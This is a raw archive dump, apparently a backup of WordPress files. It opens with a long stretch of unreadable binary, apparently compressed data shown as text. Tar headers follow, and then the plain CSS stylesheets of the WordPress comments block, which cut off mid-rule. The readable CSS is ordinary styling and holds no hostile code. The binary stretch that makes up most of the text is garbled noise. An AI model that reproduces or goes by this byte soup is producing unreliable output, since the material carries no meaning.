.�T�?��˜�'1bۃMᶭZ�S�ʍ�R�άbt�i��>�0X�>�����µ07�:���4��kh��)�
���o���M�:M�VPX�A�{�����[�7XTY���s+(�Cw�E
�R����k��@�Ƥw�F?���%U���j�O'=����ER�NE���J\�Z�ko"�?��
B���,1S9G=*��X܈�l����w��vާ����K�Y��kq%.ũx'��g�8�űx%^���x*ވG�x�x�o��x)�dӒF�&�\�83�;3
��*�h'Ue_k(Q
��'#]L��ʃ���k/�<AEt)��hM�����6
��9z@&]H�L���t�Q&T�x#@\^��9P�R�����yמ8%ͻȃ�;��3x����è�.�ħ��R���i2�bH:�<ɻ����G>���Ȼ�īȻ��kY��'>P���&���x$���Ǻ�^⨮hT�jTԨ>�Q}�Qq��M[�V[8,�[��W��W}P��&Ҏ��/|l}aTYqr4��'�����&d��j;���Y�vD��ͦ���F�p ��E4s��O�хX�<��dBa�]_P��w0�C�'O���ɇq7?y3�ڗђ���k��(M�z�nq�~҇𳸆��%<?���1��C��&������V!��#�~��G�*��)ON^I
b]�7SQ`)��+�FG��-��]x�ߗ-Ȅ#f̜E��/���|Z���	`��G��.��g�ȧI~6��LO��*�>�9<�G��3QN�`hFu�~���R�d�r�<]E�.�kJ���������k�P��pMq�A�*����],���j��	�>y5�M�m'/��57s`�zM3e}D<����x���8y?����5$þ���`�p`=��f�PQN^_I�T���x_p��paٍ�B#��h	?O�ѕ�ٟs����f�nW�h�]�[c��Կ��޾��"���ZKl��M$L��t���X�o��+���0���S{��30��n!�ѪeK�v+�'-D���#��G�m��w���]����V��շrGS�-���W
�.p�2J}�l�J�.��8�2���\%�'�b�Y����y^,b�1|�Z9�q�:<��Su��,���#F8
��D��sY�j�<q�5�
>��N����򁮂���\��������Y���EA.2S�*&щ��ٷ�U@��?M���2P9�+>��ZU�@Z*�,S�Ӫ-�RYz�u�!�ʮ������6�a�T:�F�.��=��#~C��G�
?&j�������0
Y
�4*1�>��Xz(�[�>t-w�����P@sw�I��I�����<{�b��ж���yty��v(I�-�T��F�4�ћ&<���M+��v�XX�C�;Z�{M��˪�.��%��CY�e��s�T1hP�uޡW)P����75������e@�7�;z���d1�����OhF��|j��˳�����8����;qQ�}�0n�G�Y��u�s;$e4g/A�D�{�aߐU6�y�h�\�<e.k}|67�e4,�4��}�\Y��N��O����6d��T"�f�&�9�z�s�W���(G��}������5��4��T���PN�|��1��Qz�� ���/<��?4.���������?J6���)C�0�H��I�U��Q��x���d��H�y��s1K染*�Ģ���W&Ez�:�a���X���"��S�QV����]tb~�x�	t�a���{��y�>����Y�v{O�U�&E�u�|ΒK!������EG�[��H}Pd>�?��������~�׋�|��3<�g���v���¤V��O�IGM�?��C�����z��p\$g��,�p�*�3v�d�g���bgq�[J|HΐSF��a���$�$~���|<�mD�<,3l_�ɒcV�'"�>̢8la��{ �h���`D'�w/�u�u�B�M�줡wZR$�AP�9��4�uS92m�#�J�D+�{ �]���suc��%��d.��ᡠP����P�=둼jǍ��f�]^iE�%�{��IPE���D�1y��/��:aQ�ٗEp��zK����F�_o����%Z��$�H#�T���q2�N7��m�ݭ@��/kP+Y���˪s0�?������W�/V�X�Ў�IIu��f7@��µ���x
[6�xd%�v�
�T~Y߿2�.��/#d�V�Y�a���uۓ�TTn��qXp/1#���^��X��Y�*%Zv��ԏ�a.o�Bݰ�и�*Ka���Ѡ�p�>���-������?ʻw��ב���&�C=Ex���-C%�]:���{���O���V�R�߇���f�@�P8Ƙ~G�Uv��؃{���VШ#?�)a}��M�?�����:��z�?�QSE�������#�����(͟�$�kFF�gt<�C	�����?����e�Ւ����uK�7V�7-����mƦċ]�6>�q>�*��U}z��W@�LT�T���������j�L��d�L=�0���e��b��n���&[m�����Rs
J;I׷��g��g͚g�zO�+W�г*Mo�Z<��O�M�6.�"^Z���j�~]���I3��;RU�$����UyY��zd(��ȶp~TC&ɚ��<��L4�r{�j�fj���85U�
G�&��g�`0g��FZ��Y��aes��@�.u����/�n��M���	�v�b���vS6�V��c��Mj��8H��v���ܥ�-0[$�~��]�;�%(��	�<C+�t��h[���+�쳭L�%jӕ[K`T��l+哔}�0O�|Ec������[n��!�(C�X�������!XӉ��u�۫l�9N�2-��|�4y�:�K=`8-��j/m�Rqke��	ʪ|��:rw��ظ y|���&�|�����'fl�$)_Sv��x�F��f�
}p��\��4C��z'�,��C%?�3d����_�&����y+�7����l�
"�:��}\G��y{��.w�ʹ!�2�PZ)򆬨���o�G����%d��K��BXk�8���"�R�hxʴ9�gs���g��Q^bw���X��E'��Oͦv^i�n`��0��/G(�8�t��:<��-���2@Hi��ڋ�v�J��F��b���x�}B],z\c?�r���hv�_D���h��~�:�}�_��f�藿F���q�\�i�H�.,��������L�b�b�>A�`	V��]'��y�6��<��B�S�Z
��7k+E������,�E�c��C7-Y�)Ѿ(�>4[t�6��G�A�_��?���5	+�A�:�1�܊�O5�/:�<�˟��gZUN1�������V 0�8�Ri���[{��Z�0�[��;V^�ɍ��6�U�$#�~�͸
ʳ7Tވ�.�Qҟ�n
�o��%�k��N���
(�Yip�muhtQp���0�r���.�S��N	T�>O�|���<P����3ji2�������v���"�F�S8e�+�f�XF-p��֊N��%��nUe107U����s�KsK�xah��!�['X��6�.@��@
�j[l��M*�ߧ��c��`�;���򐉩ıH�k�Q����D�C�;�x����C][�K���٭Ԇ�T��5Τ����g�
]�'��'�_6e�����S?z����d��
<A=�)�e�O���g,�1�T��!��(ZB��@�b��:�@���J3������?��*���
�@�x)�!ֆ��G����:'J��+׀��*a,�7H�>�;���宅ԷQ�(�C����V�x�0����w��w@6C�N�����N�Mg=��xⲍ���؋?'�/�H����8�)%}���<�'R��J���w(�}F��ye̱=�ϭ�L���yqN�I�8���s��������*���C+s�l=���w;�������6I�	���p��Ƀ�q+��\j�)�wҁ��F[�W��L�Q��So#�+�iNјG�����{-WQ���=�4g�ER �z��'E<ð@]W����`��G�)�_/ag�#m|*;�/S��^嵐�V�܏�4��׀CU�T��2w��h��b�<��g�b��?{.$���Y�h@������tC����
gԺ���**���
�ut��=J�ȟTo-k�#�UCV-�[Zj�F�r�з����G����E��V�o3sk�%J���G��陛N_�r�w�#�n�^-�6:���
Uȋ
"��ڦ�|U&϶�Q��,Iy���O8�7�"�1HsD����S�����]�kt�Z긾Q�%�����H�G�|�۶b���A ^W}�/�h:G�<�:`Z�4�⩡$�%ݑ����G������G���	p7��R)$�_!��i���3��n���l"T�פ�1IҹOO�ZCKֈ%�*�~�3���LG�nŲm�6Y?Բ� ��$T�M�.U�&m�j�G�OO���RΣ�o%��J\�[�D\��������K2�9�d�1���a:�v��1�a�9G���lx9���Xm�揊��/��Z��D�*��m,���Y�bC���8z�FOB��N��ѳ��3z�u�)ʕyߒ��$Wb�Z�qڍ���?8���B8�z�~�b�w��;���(p)��y���w�ǀ흏���#j�_�4��܇nyX]5�w�
wu�-�����˞�&�%3�w�>S�G���"*���8�dq֑�:��>hB��E.͝dgn�gn��Ԯ?9ͨrGV9m�;6Pse�K����ʥ
���C�$���{ΞX~��h3G#d�Jh���h�F�m��,�U�6�P�n��K\�����v��v��͈	�6J���ѧ�o���j�a��|>��8�>i�)��=&bޓ��{�ޏ���4���B
B�GR�f���˼�_E3�{-l�(�st�A�5�����h#��-�?�����V�~Vy��XN}F_�˨���_�.��K�/^7��fؗ����Q&f�t6�b�-�IYb֍��$+ß�6�.�Qܽ�h#�9�W��9�6o1���و�mD���nD��fD�]j�y�-"ȖU��'��\:�へw�w���+�	E��x���i��%�z�G��N8�I�
0�.����F@;^�Dm�N���m�|A�`2�e$�`�Z�f'���>z��AbXYߚ�B��l��a#��tg��[#�^��t�%W(;�Q��J�U�)B!������{�ë��2���[���d8r=��$m����e1#�\�;��	[�Us�`i�E~��1I6�vHL$y0&�C��B9��lS+g��CQ�}#n_�����T�Mc����*�� ��.-��R�Y9q@e�{�����P'yi]S��c͘����\�?޳��5�}�v�(`F�,�'�a#'���G| W��=P�*��Q���t�i�jW�&��:��y4�%�j޲NgǮ~XrG~!	��wQ��5��>5Ey*7q}���kƸ��<s�N�D��8�6
Q��/c'�B������4B�a��A����u�n'���.��)f����b
���W̨�f�g-�L�SҚw[�~CI��x��n蘒\lH���@Mc�.<3�f
�Y n~���f�I1��ryQ1CuaS��{�S�����K��5��g��5�-�	=d�Ņ=.��Z�9݊3���F�O�U��Fپ^a8��UE�[?�d��yn�<��]����hBW6乄�fE�˝�^�7KT��bH"����e��7*U
0OY=��t�p\J����r�+�a]O��GP!c�!��f��`Ggcc�5
��=*
��8��\(�쎏��4���i���0]��uH���Zڪq�.�\-V\�6��>,�+K@�(�
�x6������o�u��<��.⓾�,c�a�Sܔ*H���S<z)�dz��wq6�Х�/�����Ҥ��
K̽� ���Iw�b[���J��S�Dw\%�Z�ln(����#�%Sv\�0�pJ�gEX�W`�����!�EIhA ��<m+�Q��(=�_���l/_���˾�/7��Fa*�G�K�~�p�iOU'�Yѫи�*zg�7!eޫP�X�{gso��i�at�������W�lX<L����!�t��^�d�ɬ��M�vy#�*��%��Qvo�n�37�6&�1˿?R��eo%�`�抑�o�9�Dh�?����
�E�����~��Aע��̂1*F��^���r�°�P�*!xB,���� [��vV�ܿ�u��w/���&H�b;�
�E	=n��h��
�}шED&hN�(Ud%>�eB�~u�ൊo
���4��쥻:T�h<s�j;{�H˪�CE#��z��=I3/���a��)�s;
8bH�EM�9”
�a\a`���>�j���mC|8>��n�kC�b��+��!-D������۾�kYQh��aw�tL�8�u ]8q�{S��eC�W-�6��PN�?Nga�h�`�cm��T
��i��1�c��n�I{t_��ر���Һ�jE���t����
ͷ�0�sA�#.���3Ny��#�,�A�ޥ�V��q��Q[���E$7-�'mԂD��52��T<hM>�G�f�u}�	�F�|�w)wP�r���	�дm���{�c�e^PtOU����a����<F_U�J�+�ot���o[F1Zδ{�a���z46nU7���[�%�,&
O��?@\e�\��ż�V�F��Ğzҝ!��-��:�}�W���}mE6�����
ŽWϘ)|�<��
�Y��ɧ������);��M�B�"�X{8��4��%���J�p�si����f�#{����"�
n������U��p7�(�)�V��r�[$�����Q�f�D80r�gŸu[e�Y+�?k�:;eT���n-#�&�sE����iA��m+��hێ�4�
�ތg����N���bǧ	ޭ�p�*�<-�E���#�
�ݤns��S��^ ���h�u�zč�hG�t��΢ov�
С��٦KV����\	_�g}�+V'1��a�t
8��N��G�=�Kc��~��7��+ ����|��Q+�:o*�� �_�m.��âj_.d2]�S�3��'7L�ꘌ(�p�T�i�UIp�+J���y	Ll��O�^�9Ge��mC! �w4k&c��U�d�\���z�c����H3ZYֱPn�C9���00s��d�U���+/�uBԦ"�l�g��X�?��F�����P���tJU2%p]����wKe)��c[|_��Q%q�r���Z�FRd�I�`���p[��&ى��\K۬�--Nk�׭�_�{ZP��܂�,�K��L�~�4��=���G�84�C�Q��qa�q!�quR��b���C�+Y!i��w�^m.'1m�:�'P9�T�¡4R�W�6���m��������n{@�ks��MQg���w�P�ȶ"=f�y�4��w�%����8ZG�i�[S�6�ֶ�U&K���G�iK/�j�1t�N�T}3S�nBM'E�`ȶuVA]	���N7]��[��P��+Zkׯ�%�r�[�g;S^(I�i8k�$�a�3὚��������(dlj2NR�$0�^�JPyC;��V`�;�)�%n�hAA�� u�$u�8ʡ�m)(�)�I\�@�C���_i�W6q�H�ZB;@� �4�[���D�����6�9��:��c9�)O.~����zP�c�9�.�Aޫ���j���9�߉O������I-E�j 1���/�w�G��>
��Qa�~�O��&ݜ@��J��:P��FS��'��[��d�R�?̹Ol���
:�9@0����f�ˣ�Ƒ�s�c$�x,���3�<�C�id`�`��I����__�l9�8��q|�Bx?~�{SW��5e?=<-����\<�Z�Dɽ��k�����?��b�����t~�:r�#�5���=�-���t��XA䗈�iO5�3�2\�:I���]�E�!�+ц@���o7�f�0��(p�����_=�f�IU��߇hE����6D��*�
lB�b�=���#%�yB!#�~(��z$_�kaRO!?��9�K�f��U�a�J�R�(ůmb�Gx�A��P��Yb)��xP0��
���}SdE;m�iD�z�]ߌ�V���cI�#5����	O����OU���*Z�cK(R�
�L4qkvM-�!�n+g��y�}�.Vn�e��bx!�������n4I�EtX`�9j5J�sCq�N�k:R(��KC�%�}FM�ҹE��,=�ΐR�=���+K��eA��A�!p�W�;W��������Ims�,�bٶ��j����ܪ=�۸�Q;���&�%4�\ɨ�B�M�;����f����*��pƒ�T�Q'�U�G�S�Ȭ`�,�̪���l���.��J\&g���E�]k���+�i�+y�`���=�[�����p�H����j��~H���B��r�j6-��UK��Q��[��u�b�d�&��������tJ���
i�:�*�*[4�'$X�)���m�2��[��H�d�1"T�n�U3�r���3�
��澳�w���'�XP�گ3�7�7/�89�t����ϭ�ѽ�|IU��K{��Y����
���V[x4�00�!7j| �n�O�[X7-���/-�2z�jNI�>�/Q3_�>%�M�[7|E�J�g�uf�P�iG�k�k�V�?޿y�ot�`c)+��7h_��<g�:'����^��)��5�tx�v��* !�`Vz��䕫���c'�J�ψ�!��[C���nl�
q+�mN�zREYOG�Ň-���elT�gpR(��jF�+6F��NJ�HC�K�Hj7%�,�<�F*�[XY}��5��R"
.
i�F˲=\���X��.�
�7��f��]�o�`�,�28I���_���X�yY�_ћ���t+yR��\�(�{�f�P�/�3���,[I��	��L�dM>g��X`@�:l�d�W�)�  @8+�j1��}��\'�͏��f�K�D���_�������6�����0���@.����yI�[�S�12�!��� �tpɪE�t��]���C5bX8o�N
H3��m��Ϛ�b;9�u�4����^)ø�G�i�>�.L��6�r3E�\0E�*r�[���'O?ѡ'�P��K����H�HH�$Y��cn\9����FVH|�ev��i�}�Z�"�����O{Y��p.�C9�ܔ�J����\9&�6n���	i�m�р���n&�[�������{���!9�?8���6H�A+����A,�贁�.��B!�u=�WE
���"���$�ATIP��1���FP�y\��w�lӆhK)8�����O�N�)�6P����Ϣ�{~����զP��ꅣ��bX���A1��@#M:��۲5h�u���T2��m��F��
}5�΄��<%����[1��|]���݆���i��_/����m!��
�%�!]8j0-��vΪ�C\L4���2\j�{�O4Ҧa��b�ZH_s_��/�ߠ�k
?)K���b��/��RI�Q���g�����^-���4���XS$�|
���o���-
lI�8h���+�5�u	Slf���s�� ֶ���j��Y�9�Z�ey0oX��@ۉ���A���a���4�"��=�@��2�ӣ��9�s�ҭv��1=a5u�EZ��و�y-�56}�b;0��3�}�S�V��
9p��}K�NyJ$t�LJr��?l� ������4(u/�B�N���6�5TC��M�f��
bJc"�����7��y�zG;�}�3'QxL1��hR�r�_,�4���Jؑy�-�b�h3�l�
GS��i���y겈��;ę&��-�����o����m�)�����|�.��v�p\���� f�8>s�P��;Q(�b�����@^��L��N�`X��y</ɵ@�@�n&�PZ��fU I&�	P��Aڶͤ��Q��#��U���Ut�$6���ua�J'E�\ZQ0|O�8�i_+:�RII��$��>*��D�a:�ۡ�<��[�h
�.v�m�&�����YeF]*�rm�E��b�c�Y�Hn�/l��ZY�F�D��5m`p�}����Vz�$�6���>Uj��=Ib7!-z{<���v]��͎��U�v��T5ʈ�”>eQ[":#L����J���ÂĤ�I�S4S�N��߇[qA�P�6<V��D�to��TPos�¼	)�AMF�M5�I���op8	̡��1+�"�5v�J��#�D�R�UIwJ��\E;�ߵ�zU��,��vs�5�w	_5��;���k2�7��hJ/pЭ�*��d�a�٘��׍
T�$5�꬗(߄t}��Λl���n)��R��~cFuUN��&�?%L1��U��R֢^�O����)���2B���5/� W��-��r�-G�b�z}�r�s��V9��[�1Gm��XW@���~�=`����R:�I)�y�5��W����f��D���>�DϚ����
����=BC���} _��5��B�4$_�2�
���^R�K*��)]�RU}�^�)��q\��AA�7Ds��`�:��٠��w�$8�i�!�I�!��=�)}�Jq���%��Ѐ����K�A"hOy�\[x$�:��t�
�g1H�n�,��ᔇ�+iA���>�Ʈ�$�:ؘ���@Nv�5����Ac��O�N
~l�:é�5��Q�="�D����El��m��0��j�{b!n���v
��#)U�^�I�ME������n��S&��#��Z�*�z{���º��V�uT}���ofW־�hai��׿��j6�qK�z���e6ot����JҢ}!���A��0�*/��x��%�*�!���*�=�frTǢ�b1�,�K��򸘾�?�L��eEE���0�!!���Yy����[$D�e%^�)���A/���yW\�I%�Ag��'e_$�ß*q,]��"�{
_C�҃{����*=�&���J0��Z�G���)?V�}����o�|������$�w����{�'>�s�p�$��-T����B��l����,�g��]U���@�ᄟ�)���|�ew�<Od#�Sx�px/��J�]�[~)߮R�1=�*��?R�m�Ne���xA�U���);�o�9���0�gJS|aRr���|������X�W�G��i!^��v�B�C���,x��#�Ņ�툥V�B2�pO���4O+���"F~����x�|�g���Y{0_��g�C&㥕��Qm6�p�e�U:�Wܵ#.��DV)E�۠��*���f���g�;9T��K61\�׋I2r_�r\��*`=E
+Uf��|��䣿"/��p0�_�����Ͽ���?��Ŀ��;Ԕ�14338/audio.tar.gz000064400000002310151024420100007437 0ustar00��[Q��6��ͯ@��ZiI @�����k_*���N�qw#��&]�wl @��)!�Z/��l�afCb*w�L�)ͦX�W�XA�\��/?x��΃y�<�{�7_X�M�qP9������Y'?9��){I���I�FF��t��v�ns&��,�8I���ȱ�}J�#9�%���Y�0��h�[[S�Ҝe�V8"�YF�˅J��|6B�����@k��B�U�8t�[�F�x�i}3�;�M��P_c����⿻�B���)=�'�o��\�쇗�ea�0}��
�6,������� �d/��ma`3��q���'G�1�U�6h�ƙ��(hV�	��#)���<�U�����|���7�|+�o1�C���9�"|;Fx�d������W��{�����o����� �_��g�?L���!�!�{������6��l��M�m�f<&�I'q���S�nͤdi�H���MCp��AN��<�X�"�u�4)�=�$�F��7��r����#�?}�P�U�t
����k]���[h[�����4�J ��*R)&b8A��{���oi�c�������60��a������-'�4ﵡ��m�ɟ�-Xv;��a���M��L�oޑّe��E4���2��I^dO�z�؏�
���pz�J����Q0�d�	�J*-��a$ɖ񃒦���D`Nu@����Il!K�4OHy�Xy��Ou�'rx� E@�?a�BPl?Z�`E����	�.9�bkl�/m�˘��jM1٠"��kI��5,Lσ
�>]C�C��E@+�Q9+_&%6��Jn���XʱWZ�OHB0xf��<m
��X0���e�ڄS|�1�S�s�$t,�<iXR|Czi�Q���|�#*�5�t_3育��\��қ0��V��P��u2ԝ�k�t��ڢ�s�e��Q�wz�8)@���<6�t��t���2(��&���G��	�),/J~)�3,7,�Y}s�
JDٵ9��*��Z���0�GTV�D���Ot�N;^��x�2�]}�ɹ�<��>D�{�WG���g���|��=��=�o
�/X��u����V�2 ��&t�.��}�=��?&�7��7N�����[���?���T��N�o�w@��?��HsYw<14338/comments.tar000064400000112000151024420100007542 0ustar00editor-rtl.min.css000064400000010554151024246120010127 0ustar00.wp-block-comments__legacy-placeholder,.wp-block-post-comments{box-sizing:border-box}.wp-block-comments__legacy-placeholder .alignleft,.wp-block-post-comments .alignleft{float:right}.wp-block-comments__legacy-placeholder .alignright,.wp-block-post-comments .alignright{float:left}.wp-block-comments__legacy-placeholder .navigation:after,.wp-block-post-comments .navigation:after{clear:both;content:"";display:table}.wp-block-comments__legacy-placeholder .commentlist,.wp-block-post-comments .commentlist{clear:both;list-style:none;margin:0;padding:0}.wp-block-comments__legacy-placeholder .commentlist .comment,.wp-block-post-comments .commentlist .comment{min-height:2.25em;padding-right:3.25em}.wp-block-comments__legacy-placeholder .commentlist .comment p,.wp-block-post-comments .commentlist .comment p{font-size:1em;line-height:1.8;margin:1em 0}.wp-block-comments__legacy-placeholder .commentlist .children,.wp-block-post-comments .commentlist .children{list-style:none;margin:0;padding:0}.wp-block-comments__legacy-placeholder .comment-author,.wp-block-post-comments .comment-author{line-height:1.5}.wp-block-comments__legacy-placeholder .comment-author .avatar,.wp-block-post-comments .comment-author .avatar{border-radius:1.5em;display:block;float:right;height:2.5em;margin-left:.75em;margin-top:.5em;width:2.5em}.wp-block-comments__legacy-placeholder .comment-author cite,.wp-block-post-comments .comment-author cite{font-style:normal}.wp-block-comments__legacy-placeholder .comment-meta,.wp-block-post-comments .comment-meta{font-size:.875em;line-height:1.5}.wp-block-comments__legacy-placeholder .comment-meta b,.wp-block-post-comments .comment-meta b{font-weight:400}.wp-block-comments__legacy-placeholder .comment-meta .comment-awaiting-moderation,.wp-block-post-comments .comment-meta .comment-awaiting-moderation{display:block;margin-bottom:1em;margin-top:1em}.wp-block-comments__legacy-placeholder .comment-body .commentmetadata,.wp-block-post-comments .comment-body .commentmetadata{font-size:.875em}.wp-block-comments__legacy-placeholder .comment-form-author label,.wp-block-comments__legacy-placeholder .comment-form-comment label,.wp-block-comments__legacy-placeholder .comment-form-email label,.wp-block-comments__legacy-placeholder .comment-form-url label,.wp-block-post-comments .comment-form-author label,.wp-block-post-comments .comment-form-comment label,.wp-block-post-comments .comment-form-email label,.wp-block-post-comments .comment-form-url label{display:block;margin-bottom:.25em}.wp-block-comments__legacy-placeholder .comment-form input:not([type=submit]):not([type=checkbox]),.wp-block-comments__legacy-placeholder .comment-form textarea,.wp-block-post-comments .comment-form input:not([type=submit]):not([type=checkbox]),.wp-block-post-comments .comment-form textarea{box-sizing:border-box;display:block;width:100%}.wp-block-comments__legacy-placeholder .comment-form-cookies-consent,.wp-block-post-comments .comment-form-cookies-consent{display:flex;gap:.25em}.wp-block-comments__legacy-placeholder .comment-form-cookies-consent #wp-comment-cookies-consent,.wp-block-post-comments .comment-form-cookies-consent #wp-comment-cookies-consent{margin-top:.35em}.wp-block-comments__legacy-placeholder .comment-reply-title,.wp-block-post-comments .comment-reply-title{margin-bottom:0}.wp-block-comments__legacy-placeholder .comment-reply-title :where(small),.wp-block-post-comments .comment-reply-title :where(small){font-size:var(--wp--preset--font-size--medium,smaller);margin-right:.5em}.wp-block-comments__legacy-placeholder .reply,.wp-block-post-comments .reply{font-size:.875em;margin-bottom:1.4em}.wp-block-comments__legacy-placeholder input:not([type=submit]),.wp-block-comments__legacy-placeholder textarea,.wp-block-post-comments input:not([type=submit]),.wp-block-post-comments textarea{border:1px solid #949494;font-family:inherit;font-size:1em}.wp-block-comments__legacy-placeholder input:not([type=submit]):not([type=checkbox]),.wp-block-comments__legacy-placeholder textarea,.wp-block-post-comments input:not([type=submit]):not([type=checkbox]),.wp-block-post-comments textarea{padding:calc(.667em + 2px)}:where(.wp-block-post-comments input[type=submit],.wp-block-comments__legacy-placeholder input[type=submit]){border:none}.wp-block-comments{box-sizing:border-box}.block-library-comments-toolbar__popover .components-popover__content{min-width:230px}.wp-block-comments__legacy-placeholder *{pointer-events:none}style-rtl.min.css000064400000004501151024246130007775 0ustar00.wp-block-post-comments{box-sizing:border-box}.wp-block-post-comments .alignleft{float:right}.wp-block-post-comments .alignright{float:left}.wp-block-post-comments .navigation:after{clear:both;content:"";display:table}.wp-block-post-comments .commentlist{clear:both;list-style:none;margin:0;padding:0}.wp-block-post-comments .commentlist .comment{min-height:2.25em;padding-right:3.25em}.wp-block-post-comments .commentlist .comment p{font-size:1em;line-height:1.8;margin:1em 0}.wp-block-post-comments .commentlist .children{list-style:none;margin:0;padding:0}.wp-block-post-comments .comment-author{line-height:1.5}.wp-block-post-comments .comment-author .avatar{border-radius:1.5em;display:block;float:right;height:2.5em;margin-left:.75em;margin-top:.5em;width:2.5em}.wp-block-post-comments .comment-author cite{font-style:normal}.wp-block-post-comments .comment-meta{font-size:.875em;line-height:1.5}.wp-block-post-comments .comment-meta b{font-weight:400}.wp-block-post-comments .comment-meta .comment-awaiting-moderation{display:block;margin-bottom:1em;margin-top:1em}.wp-block-post-comments .comment-body .commentmetadata{font-size:.875em}.wp-block-post-comments .comment-form-author label,.wp-block-post-comments .comment-form-comment label,.wp-block-post-comments .comment-form-email label,.wp-block-post-comments .comment-form-url label{display:block;margin-bottom:.25em}.wp-block-post-comments .comment-form input:not([type=submit]):not([type=checkbox]),.wp-block-post-comments .comment-form textarea{box-sizing:border-box;display:block;width:100%}.wp-block-post-comments .comment-form-cookies-consent{display:flex;gap:.25em}.wp-block-post-comments .comment-form-cookies-consent #wp-comment-cookies-consent{margin-top:.35em}.wp-block-post-comments .comment-reply-title{margin-bottom:0}.wp-block-post-comments .comment-reply-title :where(small){font-size:var(--wp--preset--font-size--medium,smaller);margin-right:.5em}.wp-block-post-comments .reply{font-size:.875em;margin-bottom:1.4em}.wp-block-post-comments input:not([type=submit]),.wp-block-post-comments textarea{border:1px solid #949494;font-family:inherit;font-size:1em}.wp-block-post-comments input:not([type=submit]):not([type=checkbox]),.wp-block-post-comments textarea{padding:calc(.667em + 2px)}:where(.wp-block-post-comments input[type=submit]){border:none}.wp-block-comments{box-sizing:border-box}editor-rtl.css000064400000011151151024246130007340 0ustar00.wp-block-comments__legacy-placeholder,.wp-block-post-comments{
  box-sizing:border-box;
}
.wp-block-comments__legacy-placeholder .alignleft,.wp-block-post-comments .alignleft{
  float:right;
}
.wp-block-comments__legacy-placeholder .alignright,.wp-block-post-comments .alignright{
  float:left;
}
.wp-block-comments__legacy-placeholder .navigation:after,.wp-block-post-comments .navigation:after{
  clear:both;
  content:"";
  display:table;
}
.wp-block-comments__legacy-placeholder .commentlist,.wp-block-post-comments .commentlist{
  clear:both;
  list-style:none;
  margin:0;
  padding:0;
}
.wp-block-comments__legacy-placeholder .commentlist .comment,.wp-block-post-comments .commentlist .comment{
  min-height:2.25em;
  padding-right:3.25em;
}
.wp-block-comments__legacy-placeholder .commentlist .comment p,.wp-block-post-comments .commentlist .comment p{
  font-size:1em;
  line-height:1.8;
  margin:1em 0;
}
.wp-block-comments__legacy-placeholder .commentlist .children,.wp-block-post-comments .commentlist .children{
  list-style:none;
  margin:0;
  padding:0;
}
.wp-block-comments__legacy-placeholder .comment-author,.wp-block-post-comments .comment-author{
  line-height:1.5;
}
.wp-block-comments__legacy-placeholder .comment-author .avatar,.wp-block-post-comments .comment-author .avatar{
  border-radius:1.5em;
  display:block;
  float:right;
  height:2.5em;
  margin-left:.75em;
  margin-top:.5em;
  width:2.5em;
}
.wp-block-comments__legacy-placeholder .comment-author cite,.wp-block-post-comments .comment-author cite{
  font-style:normal;
}
.wp-block-comments__legacy-placeholder .comment-meta,.wp-block-post-comments .comment-meta{
  font-size:.875em;
  line-height:1.5;
}
.wp-block-comments__legacy-placeholder .comment-meta b,.wp-block-post-comments .comment-meta b{
  font-weight:400;
}
.wp-block-comments__legacy-placeholder .comment-meta .comment-awaiting-moderation,.wp-block-post-comments .comment-meta .comment-awaiting-moderation{
  display:block;
  margin-bottom:1em;
  margin-top:1em;
}
.wp-block-comments__legacy-placeholder .comment-body .commentmetadata,.wp-block-post-comments .comment-body .commentmetadata{
  font-size:.875em;
}
.wp-block-comments__legacy-placeholder .comment-form-author label,.wp-block-comments__legacy-placeholder .comment-form-comment label,.wp-block-comments__legacy-placeholder .comment-form-email label,.wp-block-comments__legacy-placeholder .comment-form-url label,.wp-block-post-comments .comment-form-author label,.wp-block-post-comments .comment-form-comment label,.wp-block-post-comments .comment-form-email label,.wp-block-post-comments .comment-form-url label{
  display:block;
  margin-bottom:.25em;
}
.wp-block-comments__legacy-placeholder .comment-form input:not([type=submit]):not([type=checkbox]),.wp-block-comments__legacy-placeholder .comment-form textarea,.wp-block-post-comments .comment-form input:not([type=submit]):not([type=checkbox]),.wp-block-post-comments .comment-form textarea{
  box-sizing:border-box;
  display:block;
  width:100%;
}
.wp-block-comments__legacy-placeholder .comment-form-cookies-consent,.wp-block-post-comments .comment-form-cookies-consent{
  display:flex;
  gap:.25em;
}
.wp-block-comments__legacy-placeholder .comment-form-cookies-consent #wp-comment-cookies-consent,.wp-block-post-comments .comment-form-cookies-consent #wp-comment-cookies-consent{
  margin-top:.35em;
}
.wp-block-comments__legacy-placeholder .comment-reply-title,.wp-block-post-comments .comment-reply-title{
  margin-bottom:0;
}
.wp-block-comments__legacy-placeholder .comment-reply-title :where(small),.wp-block-post-comments .comment-reply-title :where(small){
  font-size:var(--wp--preset--font-size--medium, smaller);
  margin-right:.5em;
}
.wp-block-comments__legacy-placeholder .reply,.wp-block-post-comments .reply{
  font-size:.875em;
  margin-bottom:1.4em;
}
.wp-block-comments__legacy-placeholder input:not([type=submit]),.wp-block-comments__legacy-placeholder textarea,.wp-block-post-comments input:not([type=submit]),.wp-block-post-comments textarea{
  border:1px solid #949494;
  font-family:inherit;
  font-size:1em;
}
.wp-block-comments__legacy-placeholder input:not([type=submit]):not([type=checkbox]),.wp-block-comments__legacy-placeholder textarea,.wp-block-post-comments input:not([type=submit]):not([type=checkbox]),.wp-block-post-comments textarea{
  padding:calc(.667em + 2px);
}

:where(.wp-block-post-comments input[type=submit],.wp-block-comments__legacy-placeholder input[type=submit]){
  border:none;
}

.wp-block-comments{
  box-sizing:border-box;
}

.block-library-comments-toolbar__popover .components-popover__content{
  min-width:230px;
}

.wp-block-comments__legacy-placeholder *{
  pointer-events:none;
}style.min.css000064400000004477151024246130007212 0ustar00.wp-block-post-comments{box-sizing:border-box}.wp-block-post-comments .alignleft{float:left}.wp-block-post-comments .alignright{float:right}.wp-block-post-comments .navigation:after{clear:both;content:"";display:table}.wp-block-post-comments .commentlist{clear:both;list-style:none;margin:0;padding:0}.wp-block-post-comments .commentlist .comment{min-height:2.25em;padding-left:3.25em}.wp-block-post-comments .commentlist .comment p{font-size:1em;line-height:1.8;margin:1em 0}.wp-block-post-comments .commentlist .children{list-style:none;margin:0;padding:0}.wp-block-post-comments .comment-author{line-height:1.5}.wp-block-post-comments .comment-author .avatar{border-radius:1.5em;display:block;float:left;height:2.5em;margin-right:.75em;margin-top:.5em;width:2.5em}.wp-block-post-comments .comment-author cite{font-style:normal}.wp-block-post-comments .comment-meta{font-size:.875em;line-height:1.5}.wp-block-post-comments .comment-meta b{font-weight:400}.wp-block-post-comments .comment-meta .comment-awaiting-moderation{display:block;margin-bottom:1em;margin-top:1em}.wp-block-post-comments .comment-body .commentmetadata{font-size:.875em}.wp-block-post-comments .comment-form-author label,.wp-block-post-comments .comment-form-comment 